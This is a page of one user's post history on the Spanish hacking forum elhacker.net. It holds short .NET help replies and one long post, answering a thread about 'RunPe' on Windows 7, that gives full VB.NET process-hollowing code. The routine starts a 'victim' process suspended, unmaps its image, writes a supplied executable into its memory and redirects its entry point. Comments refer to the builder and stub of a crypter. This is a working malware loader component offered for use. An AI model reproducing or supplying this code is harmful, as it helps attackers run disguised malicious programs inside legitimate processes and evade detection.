elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Top 20 herramientas Hacking más populares de 2020


  Mostrar Mensajes
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15
31  Programación / .NET (C#, VB.NET, ASP) / Re: iShots [Proyecto] [Pronto Imagenes...] en: 2 Enero 2013, 14:45 pm
si te siro para .net charlamos pibe. saludos
32  Programación / .NET (C#, VB.NET, ASP) / Re: Busco STAFF en: 30 Diciembre 2012, 15:16 pm
puedes wrapper esos codigos, o bien plantearlos si entiendes el funcionamiento,,,a no ser que utilisen paralelismo,,mas haya del peso del framework tienes que ver compatibilidad si no, ni da
33  Programación / .NET (C#, VB.NET, ASP) / Re: Error genérico en GDI+ en: 30 Diciembre 2012, 04:36 am
si quieres guardar en C:\ debes darle permisos a tu aplicacion, prueba con eso y nos comentas.!
34  Programación / .NET (C#, VB.NET, ASP) / Re: Busco STAFF en: 26 Diciembre 2012, 16:30 pm
sigo insistiendo que esto no va en .net por mas que este codeado en tal. por el echo de que aqui se postea codes. y la verdad no vi una linea de las mil millones que tienes. para mi en otra sección le den mas respaldo..
un consejo, se mas humilde, porque todo lo que posteas denotas con gran enfacis y diciendo "super mega hiper, archivo aporte que solo yo se ni m$ sabe" saludos ::)
35  Programación / .NET (C#, VB.NET, ASP) / Re: :) me honra mostrar en: 22 Diciembre 2012, 21:41 pm
Parece bueno, debe estar consumiendo sus megas por el tena de los skin. Igual sigo pensando que esta en la sección equivocada, que alguien me corrija. Saludos
36  Foros Generales / Foro Libre / Re: Busco Staff para un foro :) en: 29 Noviembre 2012, 17:29 pm
yo puedo ayudar en .net y programacion en general si te interesa. saludos y abrazos,
37  Programación / .NET (C#, VB.NET, ASP) / Re: [Encuesta] ¿ Que versión de Visual Studio usas ? en: 27 Noviembre 2012, 18:40 pm
uso el 2008/2010 pero paralo personal sharpdevelop
38  Programación / .NET (C#, VB.NET, ASP) / Re: Ayuda RunPe win7 en: 9 Noviembre 2012, 18:24 pm
voy a buscar y corregir eso a ver q sale
39  Programación / .NET (C#, VB.NET, ASP) / Re: Ayuda RunPe win7 en: 8 Noviembre 2012, 02:30 am
proba amigo con este sino deja que me programo uno de 0
Código
  1. Imports System.Runtime.InteropServices
  2. Imports System.Text
  3.  
  4. Class DD
  5.    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
  6. Structure STARTUPINFO
  7.        Public cb As Integer
  8.        Public lpReserved As String
  9.        Public lpDesktop As String
  10.        Public lpTitle As String
  11.        Public dwX As Integer
  12.        Public dwY As Integer
  13.        Public dwXSize As Integer
  14.        Public dwYSize As Integer
  15.        Public dwXCountChars As Integer
  16.        Public dwYCountChars As Integer
  17.        Public dwFillAttribute As Integer
  18.        Public dwFlags As Integer
  19.        Public wShowWindow As Short
  20.        Public cbReserved2 As Short
  21.        Public lpReserved2 As Integer
  22.        Public hStdInput As Integer
  23.        Public hStdOutput As Integer
  24.        Public hStdError As Integer
  25.    End Structure
  26.    Private Structure PROCESS_INFORMATION
  27.        Public hProcess As IntPtr
  28.        Public hThread As IntPtr
  29.        Public dwProcessId As Integer
  30.        Public dwThreadId As Integer
  31.    End Structure
  32.    <StructLayout(LayoutKind.Sequential)> _
  33.    Private Structure IMAGE_DOS_HEADER
  34.        Public e_magic As UInt16
  35.        ' Magic number
  36.        Public e_cblp As UInt16
  37.        ' Bytes on last page of file
  38.        Public e_cp As UInt16
  39.        ' Pages in file
  40.        Public e_crlc As UInt16
  41.        ' Relocations
  42.        Public e_cparhdr As UInt16
  43.        ' Size of header in paragraphs
  44.        Public e_minalloc As UInt16
  45.        ' Minimum extra paragraphs needed
  46.        Public e_maxalloc As UInt16
  47.        ' Maximum extra paragraphs needed
  48.        Public e_ss As UInt16
  49.        ' Initial (relative) SS value
  50.        Public e_sp As UInt16
  51.        ' Initial SP value
  52.        Public e_csum As UInt16
  53.        ' Checksum
  54.        Public e_ip As UInt16
  55.        ' Initial IP value
  56.        Public e_cs As UInt16
  57.        ' Initial (relative) CS value
  58.        Public e_lfarlc As UInt16
  59.        ' File address of relocation table
  60.        Public e_ovno As UInt16
  61.        ' Overlay number
  62.        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> _
  63.        Public e_res1 As UInt16()
  64.        ' Reserved words
  65.        Public e_oemid As UInt16
  66.        ' OEM identifier (for e_oeminfo)
  67.        Public e_oeminfo As UInt16
  68.        ' OEM information; e_oemid specific
  69.        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> _
  70.        Public e_res2 As UInt16()
  71.        ' Reserved words
  72.        Public e_lfanew As Int32
  73.        ' File address of new EXE header
  74.    End Structure
  75.    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
  76.    Private Structure VS_VERSIONINFO
  77.        Public wLength As UInt16
  78.        Public wValueLength As UInt16
  79.        Public wType As UInt16
  80.        <MarshalAs(UnmanagedType.ByValTStr, SizeConst:=15)> _
  81.        Public szKey As String
  82.        Public Padding1 As UInt16
  83.    End Structure
  84.    <StructLayout(LayoutKind.Sequential)> _
  85.    Structure SECURITY_ATTRIBUTES
  86.        Public nLength As Integer
  87.        Public lpSecurityDescriptor As IntPtr
  88.        Public bInheritHandle As Integer
  89.    End Structure
  90.    <StructLayout(LayoutKind.Sequential)> _
  91.    Private Structure VS_FIXEDFILEINFO
  92.        Public dwSignature As UInt32
  93.        Public dwStrucVersion As UInt32
  94.        Public dwFileVersionMS As UInt32
  95.        Public dwFileVersionLS As UInt32
  96.        Public dwProductVersionMS As UInt32
  97.        Public dwProductVersionLS As UInt32
  98.        Public dwFileFlagsMask As UInt32
  99.        Public dwFileFlags As UInt32
  100.        Public dwFileOS As UInt32
  101.        Public dwFileType As UInt32
  102.        Public dwFileSubtype As UInt32
  103.        Public dwFileDateMS As UInt32
  104.        Public dwFileDateLS As UInt32
  105.    End Structure
  106.    <StructLayout(LayoutKind.Sequential)> _
  107.    Public Structure FLOATING_SAVE_AREA
  108.  
  109.  
  110.        Public ControlWord As UInteger
  111.        Public StatusWord As UInteger
  112.        Public TagWord As UInteger
  113.        Public ErrorOffset As UInteger
  114.        Public ErrorSelector As UInteger
  115.        Public DataOffset As UInteger
  116.        Public DataSelector As UInteger
  117.        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> _
  118.        Public RegisterArea As Byte()
  119.        Public Cr0NpxState As UInteger
  120.  
  121.    End Structure
  122.    <StructLayout(LayoutKind.Sequential)> _
  123.    Public Structure CONTEXT
  124.  
  125.  
  126.        Public ContextFlags As UInteger
  127.        'set this to an appropriate value
  128.        ' Retrieved by CONTEXT_DEBUG_REGISTERS
  129.        Public Dr0 As UInteger
  130.        Public Dr1 As UInteger
  131.        Public Dr2 As UInteger
  132.        Public Dr3 As UInteger
  133.        Public Dr6 As UInteger
  134.        Public Dr7 As UInteger
  135.        ' Retrieved by CONTEXT_FLOATING_POINT
  136.        Public FloatSave As FLOATING_SAVE_AREA
  137.        ' Retrieved by CONTEXT_SEGMENTS
  138.        Public SegGs As UInteger
  139.        Public SegFs As UInteger
  140.        Public SegEs As UInteger
  141.        Public SegDs As UInteger
  142.        ' Retrieved by CONTEXT_INTEGER
  143.        Public Edi As UInteger
  144.        Public Esi As UInteger
  145.        Public Ebx As UInteger
  146.        Public Edx As UInteger
  147.        Public Ecx As UInteger
  148.        Public Eax As UInteger
  149.        ' Retrieved by CONTEXT_CONTROL
  150.        Public Ebp As UInteger
  151.        Public Eip As UInteger
  152.        Public SegCs As UInteger
  153.        Public EFlags As UInteger
  154.        Public Esp As UInteger
  155.        Public SegSs As UInteger
  156.        ' Retrieved by CONTEXT_EXTENDED_REGISTERS
  157.        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> _
  158.        Public ExtendedRegisters As Byte()
  159.  
  160.    End Structure
  161.    <StructLayout(LayoutKind.Sequential)> _
  162.  Public Structure IMAGE_OPTIONAL_HEADER32
  163.        '
  164.        ' Standard fields.
  165.        '
  166.        Public Magic As UInt16
  167.        Public MajorLinkerVersion As [Byte]
  168.        Public MinorLinkerVersion As [Byte]
  169.        Public SizeOfCode As UInt32
  170.        Public SizeOfInitializedData As UInt32
  171.        Public SizeOfUninitializedData As UInt32
  172.        Public AddressOfEntryPoint As UInt32
  173.        Public BaseOfCode As UInt32
  174.        Public BaseOfData As UInt32
  175.        '
  176.        ' NT additional fields.
  177.        '
  178.        Public ImageBase As UInt32
  179.        Public SectionAlignment As UInt32
  180.        Public FileAlignment As UInt32
  181.        Public MajorOperatingSystemVersion As UInt16
  182.        Public MinorOperatingSystemVersion As UInt16
  183.        Public MajorImageVersion As UInt16
  184.        Public MinorImageVersion As UInt16
  185.        Public MajorSubsystemVersion As UInt16
  186.        Public MinorSubsystemVersion As UInt16
  187.        Public Win32VersionValue As UInt32
  188.        Public SizeOfImage As UInt32
  189.        Public SizeOfHeaders As UInt32
  190.        Public CheckSum As UInt32
  191.        Public Subsystem As UInt16
  192.        Public DllCharacteristics As UInt16
  193.        Public SizeOfStackReserve As UInt32
  194.        Public SizeOfStackCommit As UInt32
  195.        Public SizeOfHeapReserve As UInt32
  196.        Public SizeOfHeapCommit As UInt32
  197.        Public LoaderFlags As UInt32
  198.        Public NumberOfRvaAndSizes As UInt32
  199.        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> _
  200.        Public DataDirectory As IMAGE_DATA_DIRECTORY()
  201.    End Structure
  202.    <StructLayout(LayoutKind.Sequential)> _
  203. Public Structure IMAGE_FILE_HEADER
  204.        Public Machine As UInt16
  205.        Public NumberOfSections As UInt16
  206.        Public TimeDateStamp As UInt32
  207.        Public PointerToSymbolTable As UInt32
  208.        Public NumberOfSymbols As UInt32
  209.        Public SizeOfOptionalHeader As UInt16
  210.        Public Characteristics As UInt16
  211.    End Structure
  212.    <StructLayout(LayoutKind.Sequential)> _
  213. Public Structure IMAGE_DATA_DIRECTORY
  214.        Public VirtualAddress As UInt32
  215.        Public Size As UInt32
  216.    End Structure
  217.    Public Structure IMAGE_NT_HEADERS
  218.        Public Signature As UInt32
  219.        Public FileHeader As IMAGE_FILE_HEADER
  220.        Public OptionalHeader As IMAGE_OPTIONAL_HEADER32
  221.    End Structure
  222.    Public Enum IMAGE_SIZEOF_SHORT_NAME
  223.        IMAGE_SIZEOF_SHORT_NAME = 8
  224.    End Enum
  225.    Public Structure Misc
  226.        Public PhysicalAddress As System.UInt32
  227.        Public VirtualSize As System.UInt32
  228.    End Structure
  229.    Public Structure IMAGE_SECTION_HEADER
  230.        Public Name As System.Byte
  231.        Public Misc As Misc
  232.        Public VirtualAddress As System.UInt32
  233.        Public SizeOfRawData As System.UInt32
  234.        Public PointerToRawData As System.UInt32
  235.        Public PointerToRelocations As System.UInt32
  236.        Public PointerToLinenumbers As System.UInt32
  237.        Public NumberOfRelocations As System.UInt16
  238.        Public NumberOfLinenumbers As System.UInt16
  239.        Public Characteristics As System.UInt32
  240.    End Structure
  241.  
  242.    Public Const CONTEXT_X86 = &H10000
  243.    Public Const CONTEXT86_CONTROL = (CONTEXT_X86 Or &H1)          'SS:SP, CS:IP, FLAGS, BP
  244.    Public Const CONTEXT86_INTEGER = (CONTEXT_X86 Or &H2)          'AX, BX, CX, DX, SI, DI
  245.    Public Const CONTEXT86_SEGMENTS = (CONTEXT_X86 Or &H4)         'DS, ES, FS, GS
  246.    Public Const CONTEXT86_FLOATING_POINT = (CONTEXT_X86 Or &H8)   '387 state
  247.    Public Const CONTEXT86_DEBUG_REGISTERS = (CONTEXT_X86 Or &H10) 'DB 0-3,6,7
  248.    Public Const CONTEXT86_FULL = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS)
  249.    Public Const CREATE_SUSPENDED = &H4
  250.    Public Const MEM_COMMIT As Long = &H1000&
  251.    Public Const MEM_RESERVE As Long = &H2000&
  252.    Public Const PAGE_NOCACHE As Long = &H200
  253.    Public Const PAGE_EXECUTE_READWRITE As Long = &H40
  254.    Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80
  255.    Public Const PAGE_EXECUTE_READ As Long = &H20
  256.    Public Const PAGE_EXECUTE As Long = &H10
  257.    Public Const PAGE_WRITECOPY As Long = &H8
  258.    Public Const PAGE_NOACCESS As Long = &H1
  259.    Public Const PAGE_READWRITE As Long = &H4
  260.  
  261.    <DllImport("kernel32.dll")> _
  262.    Private Shared Function ResumeThread(ByVal hThread As IntPtr) As UInt32
  263.    End Function
  264.    <DllImport("kernel32.dll")> _
  265.    Private Shared Function GetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean
  266.    End Function
  267.    <DllImport("kernel32.dll")> _
  268.    Private Shared Function SetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean
  269.    End Function
  270.  
  271.    <DllImport("kernel32.dll")> _
  272.    Private Shared Function LoadLibraryA(ByVal lpLibFileName As String) As Integer
  273.    End Function
  274.    <DllImport("kernel32.dll")> _
  275.    Private Shared Function CreateProcess(ByVal lpApplicationName As String, _
  276.    ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, _
  277.     ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Boolean, _
  278.    ByVal dwCreationFlags As UInt32, ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, _
  279.   <[In]()> ByRef lpStartupInfo As STARTUPINFO, _
  280.   <[Out]()> ByRef lpProcessInformation As PROCESS_INFORMATION) As Boolean
  281.    End Function
  282.  
  283.    <DllImport("kernel32.dll", _
  284.    SetLastError:=True, _
  285.    CharSet:=CharSet.Auto, _
  286.    EntryPoint:="WriteProcessMemory", _
  287.    CallingConvention:=CallingConvention.StdCall)> _
  288. Shared Function WriteProcessMemory( _
  289. ByVal hProcess As IntPtr, _
  290. ByVal lpBaseAddress As IntPtr, _
  291. ByVal lpBuffer As Byte(), _
  292. ByVal iSize As Int32, _
  293. <Out()> ByRef lpNumberOfBytesWritten As Int32) As Boolean
  294.    End Function
  295.    <DllImport("kernel32.dll", _
  296. SetLastError:=True, _
  297. CharSet:=CharSet.Auto, _
  298. EntryPoint:="WriteProcessMemory", _
  299. CallingConvention:=CallingConvention.StdCall)> _
  300. Shared Function WriteProcessMemoryI( _
  301. ByVal hProcess As IntPtr, _
  302. ByVal lpBaseAddress As IntPtr, _
  303. ByVal lpBuffer As IntPtr, _
  304. ByVal iSize As Int32, _
  305. <Out()> ByRef lpNumberOfBytesWritten As Int32) As Boolean
  306.    End Function
  307.    <DllImport("kernel32.dll", EntryPoint:="ReadProcessMemory")> _
  308.    Public Shared Function ReadProcessMemory(ByVal hProcess As IntPtr, _
  309.    ByVal lpBaseAddress As Integer, _
  310.    ByRef lpbuffer As IntPtr, _
  311.    ByVal size As Integer, _
  312.    ByRef lpNumberOfBytesRead As Integer) As Int32
  313.    End Function
  314.    <DllImport("ntdll.dll")> _
  315.    Public Shared Function ZwUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal BaseAddress As IntPtr) As Long
  316.    End Function
  317.  
  318.    <DllImport("kernel32.dll", SetLastError:=True, ExactSpelling:=True)> _
  319.    Public Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, _
  320.    ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, _
  321.    ByVal flProtect As UInteger) As IntPtr
  322.    End Function
  323.    <DllImport("kernel32", CharSet:=CharSet.Auto, SetLastError:=True)> _
  324.    Public Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UIntPtr, ByVal flNewProtect As UIntPtr, <Out()> ByVal lpflOldProtect As UInteger) As Integer
  325.    End Function
  326.  
  327.    Const GENERIC_READ As Int32 = &H80000000
  328.    Const FILE_SHARE_READ As UInt32 = &H1
  329.    Const OPEN_EXISTING As UInt32 = 3
  330.    Const FILE_ATTRIBUTE_NORMAL As UInt32 = &H80
  331.    Const INVALID_HANDLE_VALUE As Int32 = -1
  332.    Const PAGE_READONLY As UInt32 = &H2
  333.    Const FILE_MAP_READ As UInt32 = &H4
  334.    Const IMAGE_DOS_SIGNATURE As UInt16 = &H5A4D
  335.    Const RT_VERSION As Int32 = 16
  336.  
  337.    Private Enum ImageSignatureTypes
  338.        IMAGE_DOS_SIGNATURE = &H5A4D     ''\\ MZ
  339.        IMAGE_OS2_SIGNATURE = &H454E     ''\\ NE
  340.        IMAGE_OS2_SIGNATURE_LE = &H454C  ''\\ LE
  341.        IMAGE_VXD_SIGNATURE = &H454C     ''\\ LE
  342.        IMAGE_NT_SIGNATURE = &H4550      ''\\ PE00
  343.    End Enum
  344.  
  345.    Public Shared Sub SRexec(ByVal b() As Byte, ByVal sVictim As String)
  346.        Dim sVersion As [String] = Nothing
  347.        Dim pidh As IMAGE_DOS_HEADER
  348.        Dim context As CONTEXT = New CONTEXT()
  349.  
  350.        Dim Pinh As IMAGE_NT_HEADERS
  351.        Dim Pish As IMAGE_SECTION_HEADER
  352.  
  353.        Dim pi As PROCESS_INFORMATION = New PROCESS_INFORMATION()
  354.        Dim si As STARTUPINFO = New STARTUPINFO()
  355.  
  356.        Dim pSec As SECURITY_ATTRIBUTES = New SECURITY_ATTRIBUTES()
  357.        Dim tSec As SECURITY_ATTRIBUTES = New SECURITY_ATTRIBUTES()
  358.  
  359.        'converts a data type in another type.
  360.        'since .net types are different from types handle by winAPI,  DirectCall a API will cause a type mismatch, since .net types
  361.        ' structure is completely different, using different resources.
  362.        Dim MyGC As GCHandle = GCHandle.Alloc(b, GCHandleType.Pinned)
  363.        Dim ptbuffer As Integer = MyGC.AddrOfPinnedObject.ToInt32
  364.        pidh = Marshal.PtrToStructure(MyGC.AddrOfPinnedObject, pidh.GetType)
  365.        MyGC.Free()
  366.  
  367.        If CreateProcess(Nothing, sVictim, pSec, tSec, False, &H4, Nothing, Nothing, si, pi) = 0 Then
  368.            Exit Sub
  369.        End If
  370.  
  371.        Dim vt As Integer = ptbuffer + pidh.e_lfanew
  372.        Pinh = Marshal.PtrToStructure(New IntPtr(vt), Pinh.GetType)
  373.  
  374.        Dim addr As Long, lOffset As Long, ret As UInteger
  375.        si.cb = Len(si)
  376.        context.ContextFlags = CONTEXT86_INTEGER
  377.  
  378.        'all "IF" are only for better understanding, you could do all verification on the builder and then the rest on the stub
  379.        If Pinh.Signature <> ImageSignatureTypes.IMAGE_NT_SIGNATURE Or pidh.e_magic <> ImageSignatureTypes.IMAGE_DOS_SIGNATURE Then Exit Sub
  380.        If GetThreadContext(pi.hThread, context) And _
  381.            ReadProcessMemory(pi.hProcess, context.Ebx + 8, addr, 4, 0) >= 0 And _
  382.            ZwUnmapViewOfSection(pi.hProcess, addr) >= 0 Then
  383.  
  384.            Dim ImageBase As UInt32 = VirtualAllocEx(pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
  385.            If ImageBase <> 0 Then
  386.                WriteProcessMemory(pi.hProcess, ImageBase, b, Pinh.OptionalHeader.SizeOfHeaders, ret)
  387.  
  388.                lOffset = pidh.e_lfanew + 248
  389.                For i As Integer = 0 To Pinh.FileHeader.NumberOfSections - 1
  390.                'math changes, anyone with pe understanding know
  391.                    Pish = Marshal.PtrToStructure(New IntPtr(ptbuffer + lOffset + i * 40), Pish.GetType)
  392.                    Dim braw(Pish.SizeOfRawData) As Byte
  393.                    'more math for reading only the section.  mm API has a "shortcut" when you pass a specified startpoint.
  394.                    '.net can't use so you have to make a new array
  395.                    For j As Integer = 0 To Pish.SizeOfRawData - 1
  396.                        braw(j) = b(Pish.PointerToRawData + j)
  397.                    Next
  398.                    WriteProcessMemory(pi.hProcess, ImageBase + Pish.VirtualAddress, braw, Pish.SizeOfRawData, ret)
  399.                    VirtualProtectEx(pi.hProcess, ImageBase + Pish.VirtualAddress, Pish.Misc.VirtualSize, Protect(Pish.Characteristics), addr)
  400.                Next i
  401.                Dim bb As Byte() = BitConverter.GetBytes(ImageBase)
  402.  
  403.                WriteProcessMemory(pi.hProcess, context.Ebx + 8, bb, 4, ret)
  404.                context.Eax = ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
  405.                Call SetThreadContext(pi.hThread, context)
  406.                Call ResumeThread(pi.hThread)
  407.            End If
  408.        End If
  409.    End Sub
  410.  
  411.    Private Shared Function Protect(ByVal characteristics As Long) As Long
  412.        Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
  413.                        PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
  414.                        PAGE_READWRITE, PAGE_EXECUTE_READWRITE}
  415.  
  416.        Protect = mapping(RShift(characteristics, 29))
  417.    End Function
  418.  
  419.    Private Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
  420.        RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
  421.    End Function
  422.    Private Shared Function vbLongToULong(ByVal Value As Long) As Double
  423.        Const OFFSET_4 = 4294967296.0#
  424.        If Value < 0 Then
  425.            vbLongToULong = Value + OFFSET_4
  426.        Else
  427.            vbLongToULong = Value
  428.        End If
  429.    End Function
  430.  
  431. End Class
40  Programación / .NET (C#, VB.NET, ASP) / Re: Ayuda RunPe win7 en: 3 Noviembre 2012, 17:57 pm
sin codigo no te puedo ayudar! si lo subis mas el compilado asi lo pruebo y te lo corrijo
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines